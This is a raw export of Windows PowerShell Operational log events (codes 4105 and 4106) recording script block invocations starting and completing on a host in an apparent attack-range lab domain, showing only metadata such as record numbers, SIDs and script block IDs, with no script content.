Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033150
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033149
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033148
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033147
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033146
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033145
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033144
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033143
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033142
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033141
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033140
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033139
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033138
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033137
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033136
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033135
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033134
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033133
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033132
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033131
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033130
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033129
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033128
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033127
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033126
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033125
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033124
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033123
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033122
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033121
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033120
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033119
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033118
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033117
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033116
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033115
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033114
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033113
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033112
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033111
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033110
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033109
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033108
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033107
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033106
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033105
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033104
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033103
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033102
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033101
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033100
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033099
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033098
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033097
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
